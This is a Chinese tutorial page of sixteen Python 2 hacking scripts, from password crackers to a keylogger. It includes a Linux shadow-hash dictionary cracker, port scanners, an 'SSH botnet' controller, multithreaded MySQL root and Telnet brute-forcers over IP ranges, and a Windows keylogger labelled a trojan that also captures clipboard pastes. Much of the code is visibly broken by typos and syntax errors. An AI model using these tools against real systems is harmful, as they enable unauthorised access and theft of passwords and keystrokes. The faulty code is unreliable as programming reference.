某教程涉及脚本

1、Linux口令破解

# encoding: utf-8
import crypt


def testpass(cryptpass):
    #盐值,取两个$之间的字符串
    salt = cryptpass[cryptpass.find("$"):cryptpass.rfind("$")]
    #读取字典内容
    dictfile = open('dictionary.txt','r')
    #将字典里每行拿出来进行加密比对
    for word in dictfile.readlines():
        word = word.strip('\n')     # 去掉密码后的换行符
        # 将密码与盐值一起加密得到加密后的密文
        cryptword = crypt.crypt(word,salt)
        #将加密得到的密文与原始密文进行对比
        if (cryptword == cryptpass):
            print "[+] found password: " + word + "\n"
            return
    print "[-] password notfound.\n"
    return


def main():
    # 读取密码文件得到Linux口令
    passfile = open('mima.txt')
    # 对每一条口令进行破解
    for line in passfile.readlines():
        # 以口令中的:为分隔符
        if ":" in line:
            # 以第一个分隔符之前的为用户名
            user = line.split(':')[0]
            # 第一个分隔符与第二个之间的为加密口令
            cryptpass = line.split(':')[1].strip(' ')
            print "[*] cracking password for : " + user
            # 口令破解
            testpass(cryptpass)

if if __name__ == "__main__":
    main()

2、zip文件口令破解

zipfile库最初体验

# encoding: utf-8

import zipfile

# 实例化压缩文件
zfile = zipfile("test.zip")

try:
    # 使用正确的密码解压文件
    zfile.extractall(pwd="123456")
except Exception,e:
    print e

3、端口扫描器

# encoding: utf-8

import optparse
# 创建对象实例
parser = optparse.OptionParser('usage %prog  -H <target host> -p <target ports>')
# 需要的命令行参数
parser.add_option('-H',dest='Host',type='srting',help='specify target host')
parser.add_option('-p',dest='ports',type='srting',help='specify target host')

# 解析命令行
(Option,args) = parser.parse_args()
# 实例化参数
Host = Options.host
Ports = str(Options.Ports).split(',')
if (Host == None)|(Ports == None):
    print parser.usage
    exit(0)

4、构建SSH僵尸网络

# encoding: utf-8

# 引用第三方库
import pexpect
# 命令行提示符
PROMPT = ['#','>>>','>','\$']
# 传递命令
def send_command(child,cmd):
    child.sendline(cmd)
    # 期望获得的命令提示符
    child.expect(PROMPT)
    # 打印从SSH会话得到的结果
    print child.before

# 连接函数
def connect(user,host,password):
    ssh_newkey = 'are you sure you want to continue connecting'
    # 连接字符串
    connstr = 'ssh ' + user + '@' + host
    # 实例化连接
    child = pexpect.spawn(connstr)
    # 捕获ssh_newkey
    ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: '])
    # 判断捕获信息
    if ret == 0:
        print '[-] error connecting'
        return
    if ret == 1:
        child.sendline('yes')
        ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: '])
        if ret == 0:
            print '[-] error connecting'
            return
    # 输入密码
    child.sendline(password)
    # 捕获命令提示符
    child.expect(PROMPT)
    return child

def main():
    host = 'localhost'
    user = 'root'
    password = 'simple123'
    # ssh连接
    child = connect(user,host,password)
    # 发送命令
    send_command(child,'ls /root/')

if __name__ == "__main__":
    main()

5、FTP口令扫描与网页搜索

# encoding: utf-8

# 引用ftplib库
import ftplib

# 判断目标是否允许匿名登录
def anonlogin(hostame):
    try:
        ftp = ftplib.FTP(hostame)
        # 匿名登录
        ftp.login('anonymous','me@youer.com')
        print '\n[*]' + str(hostame) + 'FTP anonymous login successded'
        ftp.quit()
        return True
    except Exception,e:
        print '\n[-] ' +str(hostame) + 'FTP anonymous logon failed.'
        return False

host = '192.168.1.3'
anonlogin(host)

6、python脚本与metasploit交互

# encoding: utf-8

# 使用nmap库
import nmap

def findtarget():
    # 实例化端口扫描
    nmscan = nmap,portscanner()
    # 扫描开放了445端口的主机并将其放置在数组中返回
    nmscan.scan(subnet,'445')
    targets = []
    for t in nmscan.all_hosts():
        if nmscan[t].has_tcp(445):
            state = nmscan[t]['tcp'][445]['state']
            if state == 'open':
                print '[+] found target host: ' + t
                targets.append(t)
    return targets

7、回收站内容检查

# encoding: utf-8

import os

def returndir():
    dirs = ['C:\\Recycler\\','C:\\Recycled\\','C:\\Recycle.Bin\\']
    for recycledir in dirs:
        if os.path.isdir(recycledir):
            return recycledir
        return None

print returndir()

8、读取文件EXIF元数据

# encoding: utf-8

import urllib2
# 导入相关库
from bs4 import BeautifulSoup

# 发现网页中的图片
def findimages(url):
    print '[+\ finding images on ' + url
    # 读取HTML中的文档内容
    urlcontent = urllib2.open(url).read()
    # 创建一个beautifulsoup对象
    soup = BeautifulSoup(urlcontent,"lxml")
    # 寻找所有标记为img的标签
    imgtags = soup.findall('img')
    return imgtags

9、解析火狐浏览器ssqlite3数据库

# -*- coding: utf-8 -*-

import sqlite3  #导入库

def printDownloads(downloadDB): #查看下载记录
    conn = sqlite3.connect(downloadDB)  #链接数据库
    c = conn.cursor()   #实例化
    c.execute('SELECT name,source,datetime(endTime/1000000,\'unixepoch\') FORM moz_downloads;') #数据库查询
    print '\n[*] --- Files Downloaded ---'
    for row in c:
        print '[+] Fiel: ' + str(row[0]) + 'from source: ' + str(row[1]) + 'at:' + str(row[2])

def main():
    downloadDB = 'downloads.sqlite'
    printDownloads(downloadDB)

if __name__ == '__main__':
    main()

10、解析TTL字段值

# -*- coding: utf-8 -*-

from scapy.all import * # 使用scapy库

def testTTL(pkt):
    try:
        if pkt.haslayer(IP):    
            ipsrc = pkt.getlayer(IP).src    #判断pkt中是否有IP地址
            ttl = str(pkt.ttl)  # 提取UO地址与TTL并打印出来
            print '[+] Pkt Received From: ' + ipsrc + 'with TTL: ' + ttl
    except:
        pass

def main():
    sniff(prn=testTTL,store=0)  # 嗅探

if __name__ == '__main__':
    main()

11、用anonBrowser抓取web页面

# -*- coding: utf-8 -*-

import mechanize, cookielib, random

class anonBrowser(mechanize.Browser):
    
    def __init__(self, proxies=[], user_agents=[]):
        mechanize.Browser.__init__(self)
        self.set_handle_robots(False)
        self.proxies = proxies
        self.user_agents = user_agents + ['Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0']
        self.cookie_jar = cookielib.LWPCookieJar()
        self.set_cookiejar(self.cookie_jar)
        self.anonymize()
    
    def clear_cookies(self):
        self.cookie_jar = cookielib.LWPCookieJar()
        self.set_cookiejar(self.cookie_jar)
        
    def change_user_agent(self):
        index = random.randrange(0, len(self.user_agents))
        self.addheaders = [('User-agent',(self.user_agents[index]))]
    
    def change_proxy(self):
        if self.proxies:
            index = random.randrange(0, len(self.proxies))
            self.set_proxies({'http': self.proxies[index]})
            
    def anonymize(self, sleep= False):
        self.clear_cookies()
        self.change_user_agent()
        self.change_proxy()
        if sleep:
            time.sleep(60)

12、多线程爆破mysql

# -*- coding: utf-8 -*-

import threading
import argparse
import socket
import Queue
import netaddr
import MySQLdb
import time
import sys

class Mysqlfuzz:

    def __init__(self,addr,tnum):
        self.scanque = Queue.Queue()
        self.tnum = tnum
        self.tmpnum = tnum
        self.lock = threading.Lock()
        self.openlist = []
        if addr.find("-") != -1:     #ip地址识别
            for ip in netaddr.IPRange(addr.split("-")[0],addr.split("-")[1]):
                self.scanque.put(ip)
        else:
            for ip in netaddr.IPNetwork(addr).iter_hosts():
                self.scanque.put(ip)
        self.qsize = self.scanque.qsize() #队列大小
        for i in range(tnum): #开启线程
            t = threading.Thread(target=self.ScanPort)
            t.setDaemon(True)
            t.start()
        while self.tmpnum > 0:
            time.sleep(1.0)
        print "[*]:cracking MySQL Password ..."
        with open("pass.txt","r") as file: #读取字典
            data = file.readlines()
        for ip in self.openlist: #逐条尝试密码
            for line in data:
                self.scanque.put(line.strip())
            for i in range(tnum):
                t = threading.Thread(target=self.Crack,args=(ip,))
                t.setDaemon(True)
                t.start()
            while self.scanque.qsize() > 0:
                time.sleep(1.0)

    def Crack(self,ip): #连接目标MySQL数据库
        while self.scanque.qsize() > 0:
            try:
                password = self.scanque.get()
                conn = MySQLdb.connect(host=ip, user='root', passwd=password, db='test', port=3306, connect_timeout=4)
                self.lock.acquire()
                msg = "[+]:%s Username: root Password is: %s" % (ip, password)
                print msg
                output = open('good.txt', 'a')
                output.write(msg + "\r\n")
                self.lock.release()
                break
            except:
                pass

    def ScanPort(self):  # 查看目标3306端口状态
        while self.scanque.qsize() > 0:
            try:
                ip = self.scanque.get()
                s = socket.socket()
                s.settimeout(4)
                s.connect((str(ip), 3306))
                self.lock.acquire()
                print ip, " 3306 open"
                self.openlist.append(str(ip))
                self.lock.release()
            except:
                pass
        self.tmpnum -= 1

if __name__ == "__main__":  # 获取命令行参数并开始尝试暴力破解
    parse = argparse.ArgumentParser(description="mysqlfuzz")
    parse.add_argument('-a', '--addr', type=str, help="ipaddress")
    parse.add_argument('-t', '--thread', type=int, help="ThreadNumber",default=100)
    args = parse.parse_args()
    if not args.addr:
        parse.print_help()
        sys.exit(0)
    addr = args.addr
    tnum = args.thread

Mysqlfuzz(addr, tnum)

13、IP段端口扫描

# -*- coding: utf-8 -*-

from PyQt4 import Qtcore,QtGui
import sys
import socket
import threading,time
import thread
import ini
import time # 获取时间和延时

socket.setdefaulttimeout(10)    # 设置全局默认超过时间

try:
    _fromUtf8 = Qtcore.Qstring.fromUtf8
except AttributeError:
    _fromUtf8 = lambda s: s

class Ui_Form(object):

    def setupUi(self,Form):
        Form.setObjectName(_fromUtf8("Form"))
        Form.resize(272, 482)
        self.textEdit = QtGui.QTextEdit(Form)
        self.textEdit.setGeometry(QtCore.QRect(60, 10, 201, 31))
        self.textEdit.setObjectName(_fromUtf8("textEdit"))
        self.textEdit_2 = QtGui.QTextEdit(Form)
        self.textEdit_2.setGeometry(QtCore.QRect(60, 50, 201, 31))
        self.textEdit_2.setObjectName(_fromUtf8("textEdit_2"))
        self.textEdit_3 = QtGui.QTextEdit(Form)
        self.textEdit_3.setGeometry(QtCore.QRect(60, 90, 81, 31))
        self.textEdit_3.setObjectName(_fromUtf8("textEdit_3"))
        self.label = QtGui.QLabel(Form)
        self.label.setGeometry(QtCore.QRect(10, 30, 54, 12))
        self.label.setObjectName(_fromUtf8("label"))
        self.label_2 = QtGui.QLabel(Form)
        self.label_2.setGeometry(QtCore.QRect(10, 70, 54, 12))
        self.label_2.setObjectName(_fromUtf8("label_2"))
        self.label_3 = QtGui.QLabel(Form)
        self.label_3.setGeometry(QtCore.QRect(20, 110, 54, 12))
        self.label_3.setObjectName(_fromUtf8("label_3"))
        self.pushButton = QtGui.QPushButton(Form)
        self.pushButton.setGeometry(QtCore.QRect(160, 90, 101, 31))
        self.pushButton.setObjectName(_fromUtf8("pushButton"))
        self.textEdit_4 = QtGui.QTextEdit(Form)
        self.textEdit_4.setGeometry(QtCore.QRect(10, 150, 251, 321))
        self.textEdit_4.setObjectName(_fromUtf8("textEdit_4"))
        self.label_4 = QtGui.QLabel(Form)
        self.label_4.setGeometry(QtCore.QRect(70, 130, 251, 25))
        self.label_4.setObjectName(_fromUtf8("label_4"))
        self.retranslateUi(Form)
        QtCore.QMetaObject.connectSlotsByName(Form)
        QtCore.QObject.connect(self.pushButton, QtCore.SIGNAL(_fromUtf8("clicked()")), self.test)

    def test(self):
        thread.start_new_thread(self.mess, ())

    def mess(self):
        ip1 = self.textEdit.toPlainText()  # 获取内容
        ip2 = self.textEdit_2.toPlainText()  # 获取内容
        port = self.textEdit_3.toPlainText()  # 获取内容
        ini.ini_write(ip1, ip2, port)  # 修改INI
        self.textEdit_4.append(u"扫描结果会保存在程序目录下ip.txt")
        list_ip = self.gen_ip(self.ip2num(ip1), self.ip2num(ip2))
        self.pushButton.setEnabled(0)  # 将按钮改成禁用
        self.textEdit_4.append(u"需要扫描" + str(len(list_ip)) + u"个IP")
        I1 = 0  # 得到list的第一个元素
        ip = 0
        self.textEdit_4.append(u"开始扫描IP--" + time.strftime('%Y.%m.%d-%H. %M. %S'))
        while I1 < len(list_ip):
            if ip >= 200:
                ini.ini_write(list_ip[I1], ini.IP2, port)  # 修改INI
        ip = 0
        print list_ip[I1]
        ip = ip + 1
        time.sleep(0.1)  # 确保先运行Seeker中的方法

        thread.start_new_thread(self.socket_port, (list_ip[I1], int(port)))
        I1 = I1 + 1  # 一层
        self.textEdit_4.append(u"IP扫描完成--" + time.strftime('%Y.%m.%d-%H.%M.%S'))
        self.pushButton.setEnabled(1)  # 将按钮改成可用

    def socket_port(self,ip,PORT):
        try:
            self.label_4.setText(U"正在扫描IP:"+str(ip)+u":"+str(PORT))
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ip,PORT))
            self.textEdit_4.append(str(ip)+u":"+str(PORT)+u"端口开放")
            xxx=file('ip.txt','w')
            xxx.write(str(ip))
            xxx.write('\n')
            xxx.close()
        except:
            print ip, u":", PORT, u"端口未开放"
    def ip2num(self,ip):
        ip = [int(x) for x in ip.split('.')]
        return ip[0]<<24 | ip[1]<<16 | ip[2]<<8 | ip[3]

    def num2ip(self,num):
         if num>=IPend:
         self.textEdit_4.append(u"IP导入数组完成")
         return '%s.%s.%s.%s' % ( (num & 0xff000000) >> 24,(num & 0x00ff0000) >> 16,(num & 0x0000ff00) >> 8,num & 0x000000ff)

    def gen_ip(self,Aip1,Aip2): #返回数组
         global IPend
         IPend=Aip2
         return [self.num2ip(num) for num in range(Aip1,Aip2+1) if num & 0xff]

    def iniA(self):
        ini.ini_get()  # 读取INI
        self.textEdit.setPlainText(ini.IP1)
        self.textEdit_2.setPlainText(ini.IP2)
        self.textEdit_3.setPlainText(ini.port)

    def retranslateUi(self, Form):
        Form.setWindowTitle(QtGui.QApplication.translate("Form","Simple", None, QtGui.QApplication.UnicodeUTF8))
        self.label.setText(QtGui.QApplication.translate("Form", "开始IP:", None, QtGui.QApplication.UnicodeUTF8))
        self.label_2.setText(QtGui.QApplication.translate("Form", "结束IP:", None, QtGui.QApplication.UnicodeUTF8))
        self.label_3.setText(QtGui.QApplication.translate("Form", "端口:", None, QtGui.QApplication.UnicodeUTF8))
        self.pushButton.setText(QtGui.QApplication.translate("Form", "开始扫描", None, QtGui.QApplication.UnicodeUTF8))
        self.label_4.setText(QtGui.QApplication.translate("Form", "扫描结果", None, QtGui.QApplication.UnicodeUTF8))

class Start(QtGui.QMainWindow):

    def __init__(self,parent=None):
        QtGui.QWidget.__init__(self,parent)
        self.ui=Ui_Form()
        self.ui.setupUi(self)
        self.ui.iniA()

if __name__ == '__main__':
    app = QtGui.QApplication(sys.argv)
    myapp = Start()
    myapp.show()
    sys.exit(app.exec_())

14、TCP端口扫描

# -*- coding: utf-8 -*-

from socket import *

# 简单扫描
def PortScanner(host,port):
    try:
        s = socket(AF_INET,SOCK_STREAM)
        s.connect((host,port))
        print("[+] %d open" % port)
        s.close()
    except:
        print("[-] %d close" % port)
def main():
    setdefaulttimeout(1)
    for p in range(20,100):
        PortScanner('192.168.1.3',p)
if __name__ == '__main__':
    main()

15、Telnet密码爆破

# -*- coding: utf-8 -*-

import telnetlib
import time
import sys
import os

def do_telnet(Host, Port, username, passowrd, finish):
    # 链接Telnet服务器
    tn = telnetlib.Telnet(Host, Port, timeout=1)
    tn.set_debuglevel(3)
    # 输入登录用户名
    tn.read_until("login: ")
    tn.write(str(username)+'\n')
    # 输入登录密码
    tn.read_until("Password: ")
    tn.write(str(passowrd) + '\n')
    # 判断密码错误提示,如果没有提示说明登录成功
    if tn.read_until(finish):
        print "[-]Login Failed\n"
    tn.close()

if __name__ == '__main__':
    Host = raw_input("IP:")     # talent服务器IP
    Port = raw_input("Port:")   # Telnet服务器端口
    username = 'root'           # 登录用户名
    finish = 'incorrect'        # 密码错误提示
    pw_file = open('pass.txt','r') # 密码文件
    Index = 0
    print time.asctime(),": begin","\n"
    while True:
        password = pw_file.readline()
        Index += 1
        print Index,time.asctime(),"Try","",username,":",password,""
        if len(password) == 0:
            break
        do_telnet(Host, Port, username, password, finish)
    pw_file.close()

16、简易木马程序

# -*- coding: utf-8 -*-

from ctypes import *
import pyHook
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None

def get_current_process():
    # 获取最上层的窗口句柄
    hwnd = user32.GetForegroundWindow()

    # 获取进程ID
    pid = c_ulong(0)
    user32.GetwindowThreadProcessId(hwnd,byref(pid))

    # 将进程ID存入变量中
    process_id = "%d" % pid.value

    # 申请内存
    executable = create_string_buffer("\0x00"*512)
    h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)

    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

    # 读取窗口标题
    windows_title = create_string_buffer("\0x00"*512)
    length = user32.GetwindowTextA(hwnd,byref(windows_title),512)

    # 打印
    print
    print "[ PID: %s-%s-%s ]" % (process_id,executable.value,windows_title.value)
    print

    # 关闭handles
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)

# 定义击键监听事件函数
def KeyStroke(event):
    global current_window

    # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
    if event.WindowName != current_window:
        current_window = event.WindowName

        # 函数调用
        get_current_process()

    # 检测击键是否常规按键(非组合键等)
    if event.Ascii > 32 and event.Ascii < 127 :
        print chr(event.Ascii)
    else:
        # 如果发现Ctrl+v(粘贴)事件,就把查娜铁板内容记录下来
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print "[PASTE]-%s" % (pasted_value),
        else:
            print "[%s]" % event.Key

    # 循环监听下一个击键事件
    return True

# 创建并注册hook管理器
k1 = pyHook.HookManager()
k1.KeyDown = KeyStroke

# 注册hook并执行
k1.HookKeyboard()
pythoncom.PumpMessages()

最后更新于